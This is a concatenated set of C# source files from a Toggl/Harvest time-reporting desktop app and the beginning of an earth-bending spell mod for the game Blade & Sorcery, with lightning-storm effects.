timeEntryList.Add(new Model.TimeEntry()
{
description = "231764: E2E_ACN_CHESSN number is not saved in ebs4",
start = new DateTime(2014, 2, 19),
duration = 7323,
isTimesheet = true
});
}
private void BuildDataForTestingARandomScenario(List<TimeEntry> timeEntryList)
{
var randomGenereatedList = Builder<TimeEntry>.CreateListOfSize(100)
.TheFirst(1)
.With(x => x.description = "Dinamically generated time entry")
.And(x => x.start = DateTime.Now)
.And(x => x.duration = 1320)
.And(x => x.isTimesheet = true)
.TheNext(1)
.With(x => x.description = "Dinamically generated time entry")
.And(x => x.start = DateTime.Now)
.And(x => x.duration = 1320)
.And(x => x.isTimesheet = true)
.Build();
foreach (var item in randomGenereatedList)
{
timeEntryList.Add(item);
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TogglReport.Domain.Model;
using TogglReport.Domain.Extensions;
using TogglReport.Domain.Services;
namespace TogglReport.Domain.Repository
{
public class TimeEntryRepositorySqlite : ITimeEntryRepository
{
private const double totalHoursDay = 8.5;
public ObservableCollection<TimeEntry> GetAll()
{
ObservableCollection<TimeEntry> timeEntryCollection = new ObservableCollection<TimeEntry>();
DbHelper db = DbHelper.GetInstance();
DataTable dt = db.selectQuery("SELECT * FROM ItemTable WHERE Key like 'TimeEntries%'");
if (dt != null)
{
foreach (DataRow item in dt.Rows)
{
try
{
string jsonStringValue = item["value"].ToString();
TimeEntry timeEntry = Newtonsoft.Json.JsonConvert.DeserializeObject<TimeEntry>(jsonStringValue);
timeEntryCollection.Add(timeEntry);
}
catch (Exception)
{
}
}
}
return timeEntryCollection;
}
public TimeEntryCollection GetGroupingByDescAndDay()
{
ObservableCollection<TimeEntry> allItems = this.GetAll();
TimeEntryCollection timeEntryCollection = new TimeEntryCollection();
var query2 = from a in allItems
group a by new { a.description, startDate = new DateTime(a.start.Year, a.start.Month, a.start.Day) } into g
select new { description = g.Key.description, start = g.Key.startDate, duration = g.Sum(c => c.duration) };
foreach (var item in query2)
{
timeEntryCollection.Add(new TimeEntry
{
description = item.description,
duration = item.duration,
start = item.start,
});
}
return timeEntryCollection;
}
public TimeEntryCollection GetGroupingByDescAndDayByDate(DateTime date)
{
TimeEntryCollection timeEntryCollection = new TimeEntryCollection();
IEnumerable<TimeEntry> groupedByDescAndDay = this.GetGroupingByDescAndDay().Where(c => c.start.Day == date.Day && c.start.Month == date.Month && c.start.Year == date.Year);
var totalDurationSum = groupedByDescAndDay.Sum(c => c.duration);
foreach (var item in groupedByDescAndDay)
{
timeEntryCollection.Add(item);
}
return timeEntryCollection;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Ahgora.Api.Model
{
public class Reasons
{
public string time { get; set; }
public string occurrence { get; set; }
public string reason { get; set; }
}
}
<file_sep>using Caliburn.Micro;
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TogglReport.Domain.ViewModel
{
[Export(typeof(IScreen))]
public class BraviEntriesViewModel : Screen
{
public BraviEntriesViewModel()
{
DisplayName = "<NAME>";
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Serialization;
using TogglReport.Domain.Model;
namespace TogglReport.Domain.Services
{
public class UserSettingsService
{
#region Members
private string _settingsFilePath = String.Empty;
private const string _togglReportDataFile = "togglReportSettings.xml";
private UserSettings _userSettings = new UserSettings();
private const string ApiTokenKey = "ApiToken";
#endregion
#region Public Methods
public void SaveApiToken(string apiToken)
{
SetSettingsFilePath();
LoadUserSettings();
AddApiTokenToUserSettings(apiToken);
SaveUserSettings();
}
public string GetApiToken()
{
string apiToken = string.Empty;
SetSettingsFilePath();
LoadUserSettings();
if (_userSettings != null && _userSettings.ContainsKey(ApiTokenKey))
apiToken = _userSettings.GetValue(ApiTokenKey);
return apiToken;
}
#endregion
#region Private Methods
private void SetSettingsFilePath()
{
string applicationDataPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
this._settingsFilePath = Path.Combine(applicationDataPath, _togglReportDataFile);
}
private void SaveUserSettings()
{
if (_userSettings != null && _userSettings.Count > 0)
{
using (Stream fs = new FileStream(_settingsFilePath, FileMode.Create))
{
System.Xml.XmlWriter writer = new System.Xml.XmlTextWriter(fs, new System.Text.UTF8Encoding());
XmlSerializer xmlSerializer = new XmlSerializer(typeof(UserSettings));
xmlSerializer.Serialize(writer, _userSettings);
writer.Close();
}
}
}
private void AddApiTokenToUserSettings(string apiTokenValue)
{
if (_userSettings != null)
_userSettings.Add(ApiTokenKey, apiTokenValue);
}
private void LoadUserSettings()
{
if (File.Exists(_settingsFilePath))
{
try
{
XmlSerializer xmlSerializer = new XmlSerializer(typeof(UserSettings));
using (FileStream fileStream = new FileStream(_settingsFilePath, FileMode.Open))
{
_userSettings = (UserSettings)xmlSerializer.Deserialize(fileStream);
}
}
catch (Exception)
{
}
}
}
#endregion
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using TogglReport.Domain.Model;
using TogglReport.Domain.Services;
namespace TogglReport.Domain.Repository
{
public class TimeEntryRepositoryToggl : ITimeEntryRepository
{
private const string url = "https://www.toggl.com/api/v8/time_entries";
private string _userPass = String.Empty;
private string _userpassB64 = String.Empty;
private string _authHeader = String.Empty;
public TimeEntryRepositoryToggl()
{
UserSettingsService userSettingsService = new UserSettingsService();
_userPass = userSettingsService.GetApiToken() + ":api_token";
_userpassB64 = Convert.ToBase64String(Encoding.Default.GetBytes(_userPass.Trim()));
_authHeader = "Basic " + _userpassB64;
}
public ObservableCollection<TimeEntry> GetAll()
{
ObservableCollection<TimeEntry> list = new ObservableCollection<TimeEntry>();
HttpWebRequest authRequest = (HttpWebRequest)WebRequest.Create(url);
authRequest.Headers.Add("Authorization", _authHeader);
authRequest.Method = "GET";
authRequest.ContentType = "application/json";
//authRequest.Credentials = CredentialCache.DefaultNetworkCredentials;
try
{
var response = (HttpWebResponse)authRequest.GetResponse();
string result = null;
using (Stream stream = response.GetResponseStream())
{
StreamReader sr = new StreamReader(stream);
result = sr.ReadToEnd();
sr.Close();
list = Newtonsoft.Json.JsonConvert.DeserializeObject<ObservableCollection<TimeEntry>>(result);
}
if (null != result)
{
System.Diagnostics.Debug.WriteLine(result.ToString());
}
// Get the headers
object headers = response.Headers;
}
catch (Exception e)
{
System.Diagnostics.Debug.WriteLine(e.Message + "\n" + e.ToString());
}
return list;
}
public TimeEntryCollection GetGroupingByDescAndDay()
{
ObservableCollection<TimeEntry> allItems = this.GetAll();
TimeEntryCollection collectionService = new TimeEntryCollection();
var query2 = from a in allItems
group a by new { a.description, startDate = new DateTime(a.start.Year, a.start.Month, a.start.Day) } into g
select new { description = g.Key.description, start = g.Key.startDate, duration = g.Sum(c => c.duration) };
foreach (var item in query2)
{
collectionService.Add(new TimeEntry
{
description = item.description,
duration = item.duration,
start = item.start,
});
}
//collectionService.CalculateItems();
return collectionService;
}
public TimeEntryCollection GetGroupingByDescAndDayByDate(DateTime date)
{
TimeEntryCollection collectionService = new TimeEntryCollection();
IEnumerable<TimeEntry> groupedByDescAndDay = this.GetGroupingByDescAndDay().Where(c => c.start.Day == date.Day && c.start.Month == date.Month && c.start.Year == date.Year);
var totalDurationSum = groupedByDescAndDay.Sum(c => c.duration);
foreach (var item in groupedByDescAndDay)
{
collectionService.Add(item);
}
//collectionService.CalculateItems();
return collectionService;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TogglReport.Domain.Services;
using TogglReport.Domain.Extensions;
using System.Collections.ObjectModel;
using TogglReport.Domain.Model;
namespace TogglReport.Domain.Services
{
public class TimeEntryCollection : ObservableCollection<TimeEntry>
{
#region Members
private IConfigurationService _configService;
#endregion
#region Constructores
public TimeEntryCollection(IConfigurationService configService)
{
_configService = configService;
this.CollectionChanged += TimeEntryCollection_CollectionChanged;
}
public TimeEntryCollection()
{
_configService = ConfigurationService.GetInstance();
_configService.Load();
this.CollectionChanged += TimeEntryCollection_CollectionChanged;
}
#endregion
#region Private Methods
private void TimeEntryCollection_CollectionChanged(object sender, System.Collections.Specialized.NotifyCollectionChangedEventArgs e)
{
if (e.NewItems != null)
{
foreach (var item in e.NewItems.Cast<TimeEntry>())
{
item.isTimesheet = true;
}
}
}
#endregion
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace TogglReport.Domain.Model
{
public class TimeEntry
{
public string description { get; set; }
public DateTime start { get; set; }
public double duration { get; set; }
public bool duronly { get; set; }
public string created_with { get; set; }
public object ui_modified_at { get; set; }
public object dirty_at { get; set; }
public int id { get; set; }
public string guid { get; set; }
public int wid { get; set; }
public bool billable { get; set; }
public string at { get; set; }
public int server_id { get; set; }
public List<string> tags { get; set; }
public DateTime stop { get; set; }
public String durationInHours
{
get
{
TimeSpan span = TimeSpan.FromSeconds(this.duration);
return span.ToString();
}
}
public double percent { get; set; }
public double hoursSuggested { get; set; }
public double hoursSuggestedRounded { get; set; }
public bool isTimesheet { get; set; }
}
}
<file_sep>using Caliburn.Micro;
using System;
using System.Collections.Generic;
using System.ComponentModel.Composition;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TogglReport.Domain.Services;
namespace TogglReport.Domain.ViewModel
{
[Export(typeof(IScreen))]
public class ConfigurationViewModel : Screen
{
#region Members
private string _instalationPath = String.Empty;
private string _notificationMessage;
private string _apiToken = String.Empty;
private UserSettingsService _userSettingsService;
#endregion
#region Overrides / ViewModel Lifecycle
protected override void OnViewReady(object view)
{
base.OnViewReady(view);
this.ApiToken = _userSettingsService.GetApiToken();
}
#endregion
#region Properties
public string InstalationPath
{
get
{
return _instalationPath;
}
set
{
_instalationPath = value;
NotifyOfPropertyChange(() => InstalationPath);
}
}
public string ApiToken
{
get
{
return _apiToken;
}
set
{
_apiToken = value;
NotifyOfPropertyChange(() => ApiToken);
}
}
#endregion
#region Constructor
public ConfigurationViewModel()
{
DisplayName = "Configuration";
_userSettingsService = new UserSettingsService();
SetInstalationPath();
}
#endregion
#region Public Methods
public void SaveApiToken(string apiToken)
{
_userSettingsService.SaveApiToken(apiToken);
this.ApiToken = apiToken;
}
public bool CanSaveApiToken(string apiToken)
{
return apiToken.Length > 0;
}
#endregion
#region Private Methods
private void SetInstalationPath()
{
//Get the assembly information
System.Reflection.Assembly assemblyInfo = System.Reflection.Assembly.GetExecutingAssembly();
//Location is where the assembly is run from
string assemblyLocation = assemblyInfo.Location;
//CodeBase is the location of the ClickOnce deployment files
Uri uriCodeBase = new Uri(assemblyInfo.CodeBase);
InstalationPath = Path.GetDirectoryName(uriCodeBase.LocalPath.ToString());
}
#endregion
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TogglReport.Domain.Model;
using TogglReport.Domain.Extensions;
namespace TogglReport.Domain.Services
{
public class TimesheetCalculationService
{
#region Members
private IConfigurationService _configService;
private double _totalDurationTime = 0;
private double _totalHoursRounded = 0;
private List<TimeEntry> _originalTimeEntryList = new List<TimeEntry>();
private List<TimeEntry> _outputTimeEntryList = new List<TimeEntry>();
#endregion
#region Properties
public double TotalDurationTime
{
get
{
return _totalDurationTime;
}
}
public double TotalHoursRounded
{
get
{
return _totalHoursRounded;
}
}
public List<TimeEntry> CalculatedList
{
get
{
return _outputTimeEntryList;
}
}
#endregion
#region Constructores
public TimesheetCalculationService(IConfigurationService configService)
{
_configService = configService;
}
public TimesheetCalculationService()
{
_configService = ConfigurationService.GetInstance();
_configService.Load();
}
#endregion
#region Public Methods
public void CalculateItems(List<TimeEntry> listToCalculate, DateTime selectedDate)
{
_originalTimeEntryList = listToCalculate;
_outputTimeEntryList.Clear();
_outputTimeEntryList.AddRange(_originalTimeEntryList.FindAll(t => t.isTimesheet));
if (_outputTimeEntryList.Count > 0)
{
this._totalDurationTime = _outputTimeEntryList.Sum(c => c.duration);
foreach (var item in _outputTimeEntryList)
{
item.percent = (item.duration * 100 / TotalDurationTime);
item.hoursSuggested = (_configService.GetTotalHourForCurrentDay(selectedDate) * (item.duration * 100 / TotalDurationTime) / 100);
item.hoursSuggestedRounded = (_configService.GetTotalHourForCurrentDay(selectedDate) * (item.duration * 100 / TotalDurationTime) / 100).RoundI(0.25);
}
this._totalHoursRounded = _outputTimeEntryList.Sum(c => c.hoursSuggestedRounded);
double roundingDifference = _configService.GetTotalHourForCurrentDay(selectedDate) - this.TotalHoursRounded;
double hoursToDistribute = 0.0;
if (roundingDifference > 0)
hoursToDistribute = 0.25;
else if (roundingDifference < 0)
hoursToDistribute = -0.25;
DistributeHourToTimeEntries(roundingDifference, hoursToDistribute);
this._totalHoursRounded = _outputTimeEntryList.Sum(c => c.hoursSuggestedRounded);
}
}
private void DistributeHourToTimeEntries(double roundingDifference, double hoursToDistribute)
{
if (hoursToDistribute != 0)
{
int numberOfUnitsWithDifference = Math.Abs((int)(roundingDifference / 0.25));
//Distribuite the difference to all records
for (int i = 0; i < numberOfUnitsWithDifference; i++)
{
_outputTimeEntryList[i].hoursSuggestedRounded += hoursToDistribute;
}
}
}
#endregion
}
}
<file_sep>using AutoMapper;
using Harvest.Api;
using Harvest.Api.Interfaces;
using Harvest.Api.Model.Internal;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
using TogglReport.Domain.Model;
using TogglReport.Domain.Services;
namespace TogglReport.Domain.Repository
{
public class TimeEntryRepositoryHarvest : ITimeEntryRepository
{
#region Members
private IRestRequestProvider _provider;
private Harvest.Api.Repository _repository;
#endregion
#region Constructor
public TimeEntryRepositoryHarvest()
{
UserSettingsService userSettingsService = new UserSettingsService();
_provider = new RestRequestProvider("bravi", "xxxxx", "xxxx");
_repository = new Harvest.Api.Repository(_provider);
MapHarvestEntityToTimeEntryEntity();
}
#endregion
#region Public Methods
public ObservableCollection<TimeEntry> GetAll()
{
throw new NotImplementedException();
}
public TimeEntryCollection GetGroupingByDescAndDay()
{
throw new NotImplementedException();
}
public TimeEntryCollection GetGroupingByDescAndDayByDate(DateTime filterDate)
{
TimeEntryCollection collectionService = new TimeEntryCollection();
ObservableCollection<TimeEntry> allItems = this.GetByDate(filterDate);
var query2 = from a in allItems
group a by new { a.description, startDate = new DateTime(a.start.Year, a.start.Month, a.start.Day) } into g
select new { description = g.Key.description, start = g.Key.startDate, duration = g.Sum(c => c.duration) };
foreach (var item in query2)
{
collectionService.Add(new TimeEntry
{
description = item.description,
duration = item.duration,
start = item.start,
});
}
return collectionService;
}
#endregion
#region Private Methods
private void MapHarvestEntityToTimeEntryEntity()
{
Mapper.CreateMap<DayEntryItem, TimeEntry>()
.ForMember(d => d.id, m => m.MapFrom(s => s.Id.Value))
.ForMember(d => d.duration, m => m.MapFrom(s => TimeSpan.FromHours(s.Hours.Value).TotalSeconds))
.ForMember(d => d.start, m => m.MapFrom(s => s.SpentAt.Value))
.ForMember(d => d.description, m => m.MapFrom(s => s.Notes));
}
private ObservableCollection<TimeEntry> GetByDate(DateTime filterDate)
{
DailyItem dailyItem = _repository.TimeTrackings.GetForDay(filterDate);
ObservableCollection<TimeEntry> list = new ObservableCollection<TimeEntry>();
foreach (DayEntryItem item in dailyItem.DayEntries.DayEntryArray)
{
TimeEntry mappedTimeEntry = Mapper.Map<DayEntryItem, TimeEntry>(item);
list.Add(mappedTimeEntry);
}
return list;
}
#endregion
}
}
<file_sep>using Ahgora.Api.Model;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;
namespace Ahgora.Api.Repository
{
public class TimesheetRepository
{
#region Members
private string _username = String.Empty;
private string _password = String.Empty;
#endregion
#region Properties
public string Username
{
get { return _username; }
set { _username = value; }
}
public string Password
{
get { return _password; }
set { _password = value; }
}
#endregion
#region Constructor
public TimesheetRepository(string username, string password)
{
this._username = username;
this._password = <PASSWORD>;
}
#endregion
#region Public Methods
public RootObject GetAll()
{
RootObject timesheetCollection = new RootObject();
string url = "https://horas.bravi.com.br/api/ponto";
String encoded = System.Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(this.Username + ":" + this.Password));
string authHeader = "Basic " + encoded;
HttpWebRequest authRequest = (HttpWebRequest)WebRequest.Create(url);
authRequest.Headers.Add("Authorization", authHeader);
authRequest.Method = "GET";
authRequest.ContentType = "application/json";
try
{
var response = (HttpWebResponse)authRequest.GetResponse();
string result = null;
using (Stream stream = response.GetResponseStream())
{
StreamReader sr = new StreamReader(stream);
result = sr.ReadToEnd();
sr.Close();
timesheetCollection = Newtonsoft.Json.JsonConvert.DeserializeObject<RootObject>(result);
}
if (null != result)
{
System.Diagnostics.Debug.WriteLine(result.ToString());
}
// Get the headers
object headers = response.Headers;
}
catch (Exception e)
{
System.Diagnostics.Debug.WriteLine(e.Message + "\n" + e.ToString());
}
return timesheetCollection;
}
#endregion
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TogglReport.Domain.Model;
using TogglReport.Domain.Services;
namespace TogglReport.Domain.Repository
{
public interface ITimeEntryRepository
{
ObservableCollection<TimeEntry> GetAll();
TimeEntryCollection GetGroupingByDescAndDay();
TimeEntryCollection GetGroupingByDescAndDayByDate(DateTime date);
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Ahgora.Api.Services
{
public class AhgoraService
{
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TogglReport.Domain.Services;
namespace TogglReport.Domain.Tests.Fakes
{
public class ConfigurationServiceBuilder : IConfigurationService
{
private FileInfo _togglDatabasePath = null;
private FileInfo _togglTemporaryDatabasePath = null;
private double _totalHoursPerDay = 7.5;
#region IConfigurationService Members
public FileInfo TogglDatabasePath
{
get { return _togglDatabasePath; }
}
public FileInfo TogglTemporaryDatabasePath
{
get { return _togglTemporaryDatabasePath; }
}
public double TotalHoursPerDay
{
get { return _totalHoursPerDay; }
}
public void Load()
{
throw new NotImplementedException();
}
#endregion
#region Builder Methods
public ConfigurationService Build()
{
return new ConfigurationService(_togglDatabasePath, _togglTemporaryDatabasePath, _totalHoursPerDay);
}
public ConfigurationServiceBuilder WithNonExistingDatabasePath()
{
_togglDatabasePath = new FileInfo(@"c:\windows\temp\");
return this;
}
public ConfigurationServiceBuilder WithNonExistingTemporaryDatabasePath()
{
_togglTemporaryDatabasePath = new FileInfo(@"c:\windows\temp\");
return this;
}
public ConfigurationServiceBuilder WithSevenAndHalfTotalHoursPerDay()
{
_totalHoursPerDay = 7.5;
return this;
}
public static implicit operator ConfigurationService(ConfigurationServiceBuilder instance)
{
return instance.Build();
}
#endregion
public string TogglApiToken
{
get { throw new NotImplementedException(); }
}
public double GetTotalHourForCurrentDay(DateTime date)
{
throw new NotImplementedException();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Ahgora.Api.Model
{
public class RootObject
{
public Summary summary { get; set; }
public List<Timesheet> timesheet { get; set; }
public RootObject()
{
this.timesheet = new List<Timesheet>();
this.summary = new Summary();
}
}
}
<file_sep>using Caliburn.Micro;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel.Composition;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using TogglReport.Domain.Model;
using TogglReport.Domain.Repository;
using TogglReport.Domain.Services;
namespace TogglReport.Domain.ViewModel
{
[Export(typeof(IScreen))]
public class TogglEntriesViewModel : Screen
{
#region Members
private DateTime _currentQueryDate;
private ObservableCollection<TimeEntry> _items;
private string _dayOfWeek = String.Empty;
private bool _loadingData = false;
private TimesheetCalculationService _calculationService;
private double _hoursCurrentDay = 0;
#endregion
#region Overrides / ViewModel Lifecycle
protected override void OnViewReady(object view)
{
base.OnViewReady(view);
this.CurrentQueryDate = DateTime.Now.AddDays(-1);
this.Items = new ObservableCollection<TimeEntry>();
FilterItems();
}
#endregion
#region Properties
public DateTime CurrentQueryDate
{
get { return _currentQueryDate; }
set
{
_currentQueryDate = value;
DayOfWeek = _currentQueryDate.ToString("ddd");
HoursCurrentDay = ConfigurationService.GetInstance().GetTotalHourForCurrentDay(_currentQueryDate);
NotifyOfPropertyChange(() => CurrentQueryDate);
}
}
public ObservableCollection<TimeEntry> Items
{
get { return _items; }
set
{
_items = value;
NotifyOfPropertyChange(() => Items);
}
}
public string DayOfWeek
{
get
{
return _dayOfWeek;
}
set
{
_dayOfWeek = value;
NotifyOfPropertyChange(() => DayOfWeek);
}
}
public double HoursCurrentDay
{
get
{
return _hoursCurrentDay;
}
set
{
_hoursCurrentDay = value;
NotifyOfPropertyChange(() => HoursCurrentDay);
}
}
public bool LoadingData
{
get
{
return _loadingData;
}
set
{
_loadingData = value;
NotifyOfPropertyChange(() => LoadingData);
}
}
#endregion
#region Constructor
public TogglEntriesViewModel()
{
DisplayName = "Harvest Time";
_calculationService = new TimesheetCalculationService();
}
#endregion
#region Public Methods
public void Today()
{
DateTime today = DateTime.Now;
this.CurrentQueryDate = today;
FilterItems();
}
public void All()
{
ITimeEntryRepository timeEntryCollection = new TimeEntryRepositoryHarvest();
this.Items.Clear();
TimeEntryCollection timeentries = timeEntryCollection.GetGroupingByDescAndDay();
this.Items = timeentries;
}
public void Yesterday()
{
DateTime yesterday = DateTime.Now.AddDays(-1);
this.CurrentQueryDate = yesterday;
FilterItems();
}
public void PreviousDay()
{
CurrentQueryDate = CurrentQueryDate.AddDays(-1);
FilterItems();
}
public void NextDay()
{
CurrentQueryDate = CurrentQueryDate.AddDays(1);
FilterItems();
}
public void CalculateTimeSheet()
{
_calculationService.CalculateItems(this.Items.ToList(), CurrentQueryDate);
this.Items = new ObservableCollection<TimeEntry>(_calculationService.CalculatedList);
}
public void ReloadData()
{
this.FilterItems();
}
#endregion
#region Private Methods
private void FilterItems()
{
LoadingData = true;
this.Items.Clear();
FilterItemsAsync(
() =>
{
LoadingData = false;
},
(Exception ex) =>
{
LoadingData = false;
Caliburn.Micro.Execute.OnUIThread(ShowNoRecordsMessage); ;
});
}
private void StartLoading()
{
LoadingData = false;
}
private void FilterItemsAsync(System.Action sucesscallBack, Action<Exception> errorCallback)
{
ThreadPool.QueueUserWorkItem(_ =>
{
try
{
ITimeEntryRepository timeEntryCollection = new TimeEntryRepositoryHarvest();
TimeEntryCollection timeentries = timeEntryCollection.GetGroupingByDescAndDayByDate(CurrentQueryDate);
this.Items = timeentries;
}
catch (ThreadAbortException) { /* dont report on this */ }
catch (Exception ex)
{
if (errorCallback != null) errorCallback(ex);
}
// note: this will not be called if the thread is aborted
if (sucesscallBack != null) sucesscallBack();
});
}
private void ShowNoRecordsMessage()
{
}
#endregion
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Ahgora.Api.Model
{
public class Timesheet
{
public string date { get; set; }
public string workdayType { get; set; }
public List<object> punchTime { get; set; }
public Reasons reasons { get; set; }
public string result { get; set; }
}
}
| d635c1e1cbc396a8b419d86fc18a9811697c7c9c | [
"Markdown",
"C#"
] | 30 | C# | mauriciominella/TogglReport | 9ebd934cef78fd9bba73a82f87020ba247c5cb69 | d138da5354bee0134ab0c242e89a63683b3efc9d |
refs/heads/master | <repo_name>DavidHulstroem/EarthBendingSpell<file_sep>/EarthBendingSpell/EarthLightningMerge.cs
using System;
using System.Collections.Generic;
using System.Collections;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using UnityEngine;
using ThunderRoad;
using System.Runtime.CompilerServices;
using UnityEngine.PlayerLoop;
namespace EarthBendingSpell
{
class EarthLightningMerge : SpellMergeData
{
public float stormMinCharge;
public float stormRadius;
public string stormEffectId;
public string stormStartEffectId;
public string spikesCollisionEffectId;
private EffectData stormEffectData;
private EffectData spikesCollisionEffectData;
private EffectData stormStartEffectData;
private EffectInstance cloudEffectInstance;
public override void OnCatalogRefresh()
{
base.OnCatalogRefresh();
stormEffectData = Catalog.GetData<EffectData>(stormEffectId, true);
spikesCollisionEffectData = Catalog.GetData<EffectData>(spikesCollisionEffectId, true);
stormStartEffectData = Catalog.GetData<EffectData>(stormStartEffectId, true);
}
public override void Merge(bool active)
{
base.Merge(active);
if (active)
{
if (cloudEffectInstance != null)
{
cloudEffectInstance.Despawn();
}
cloudEffectInstance = stormStartEffectData.Spawn(Player.currentCreature.transform.position, Quaternion.identity);
cloudEffectInstance.Play();
return;
}
Vector3 from = Player.local.transform.rotation * PlayerControl.GetHand(Side.Left).GetHandVelocity();
Vector3 from2 = Player.local.transform.rotation * PlayerControl.GetHand(Side.Right).GetHandVelocity();
if (from.magnitude > SpellCaster.throwMinHandVelocity && from2.magnitude > SpellCaster.throwMinHandVelocity)
{
if (Vector3.Angle(from, mana.casterLeft.magicSource.position - mana.mergePoint.position) < 45f || Vector3.Angle(from2, mana.casterRight.magicSource.position - mana.mergePoint.position) < 45f)
{
if (currentCharge > stormMinCharge && !EarthBendingController.LightningActive)
{
EarthBendingController.LightningActive = true;
mana.StartCoroutine(StormCoroutine());
mana.StartCoroutine(DespawnEffectDelay(cloudEffectInstance, 15f));
currentCharge = 0;
return;
}
}
}
mana.StartCoroutine(DespawnEffectDelay(cloudEffectInstance, 1f));
}
public IEnumerator StormCoroutine()
{
Vector3 playerPos = Player.currentCreature.transform.position;
//Get all creatures in range
foreach (Creature creature in Creature.allActive)
{
if (creature != Player.currentCreature)
{
if (creature.state != Creature.State.Dead)
{
float dist = Vector3.Distance(playerPos, creature.transform.position);
if (dist < stormRadius)
{
EffectInstance stormInst = stormEffectData.Spawn(creature.transform.position, Quaternion.identity);
stormInst.Play();
foreach (ParticleSystem particleSystem in stormInst.effects[0].gameObject.GetComponentsInChildren<ParticleSystem>())
{
if (particleSystem.gameObject.name == "CollisionDetector")
{
ElectricSpikeCollision scr = particleSystem.gameObject.AddComponent<ElectricSpikeCollision>();
scr.part = particleSystem;
scr.spikesCollisionEffectData = spikesCollisionEffectData;
}
}
mana.StartCoroutine(DespawnEffectDelay(stormInst, 15f));
yield return new WaitForSeconds(UnityEngine.Random.Range(0.1f, 0.4f));
}
}
} else
{
EffectInstance stormInst = stormEffectData.Spawn(creature.transform.position + creature.transform.forward * 2, Quaternion.identity);
stormInst.Play();
foreach (ParticleSystem particleSystem in stormInst.effects[0].gameObject.GetComponentsInChildren<ParticleSystem>())
{
if (particleSystem.gameObject.name == "CollisionDetector")
{
ElectricSpikeCollision scr = particleSystem.gameObject.AddComponent<ElectricSpikeCollision>();
scr.part = particleSystem;
scr.spikesCollisionEffectData = spikesCollisionEffectData;
}
}
mana.StartCoroutine(DespawnEffectDelay(stormInst, 15f));
}
}
yield return new WaitForSeconds(10f);
EarthBendingController.LightningActive = false;
}
IEnumerator DespawnEffectDelay(EffectInstance effect, float delay)
{
yield return new WaitForSeconds(delay);
effect.Despawn();
}
public IEnumerator PlayEffectSound(float delay, EffectData effectData, Vector3 position, float despawnDelay = 0)
{
yield return new WaitForSeconds(delay);
EffectInstance effectInstance = effectData.Spawn(position, Quaternion.identity);
effectInstance.Play();
if (despawnDelay != 0)
{
yield return new WaitForSeconds(despawnDelay);
effectInstance.Stop();
}
}
}
public class ElectricSpikeCollision : MonoBehaviour
{
public EffectData spikesCollisionEffectData;
public ParticleSystem part;
public List<ParticleCollisionEvent> collisionEvents = new List<ParticleCollisionEvent>();
private void OnParticleCollision(GameObject other)
{
int numCollisionEvents = part.GetCollisionEvents(other, collisionEvents);
foreach (ParticleCollisionEvent particleCollisionEvent in collisionEvents)
{
EffectInstance effectInstance = spikesCollisionEffectData.Spawn(particleCollisionEvent.intersection, Quaternion.identity);
effectInstance.Play();
foreach (Collider collider in Physics.OverlapSphere(particleCollisionEvent.intersection, 1f))
{
if (collider.attachedRigidbody)
{
if (collider.GetComponentInParent<Creature>())
{
Creature creature = collider.GetComponentInParent<Creature>();
if (creature != Player.currentCreature)
{
if (creature.state != Creature.State.Dead)
{
creature.TryElectrocute(10, 12, true, false);
creature.Damage(new CollisionInstance(new DamageStruct(DamageType.Energy, 5f)));
}
}
else
{
continue;
}
}
}
}
}
}
}
}
<file_sep>/EarthBendingSpell/EarthCast.cs
using System;
using System.Collections.Generic;
using System.Collections;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using ThunderRoad;
using UnityEngine;
namespace EarthBendingSpell
{
public class EarthCastCharge : SpellCastCharge
{
public float shieldMinSpeed;
public string shieldItemId;
public float shieldFreezeTime;
public int shieldHealth;
public float shieldPushMul;
public float pushMinSpeed;
public string pushEffectId;
public float pushForce;
public List<string> rockItemIds = new List<string>();
public Vector2 rockMassMinMax;
public float rockForceMul;
public float rockFreezeTime;
public float rockHeightFromGround;
public float rockMoveSpeed;
public string rockSummonEffectId;
public float punchForce;
public string punchEffectId;
public float punchAimPrecision;
public float punchAimRandomness;
public string spikeEffectId;
public float spikeMinSpeed;
public float spikeRange;
public float spikeMinAngle;
public float spikeDamage;
public string shatterEffectId;
public float shatterMinSpeed;
public float shatterRange;
public float shatterRadius;
public float shatterForce;
public float rockPillarMinSpeed;
public string rockPillarPointsId;
public string rockPillarItemId;
public string rockPillarCollisionEffectId;
public float rockPillarLifeTime;
public float rockPillarSpawnDelay;
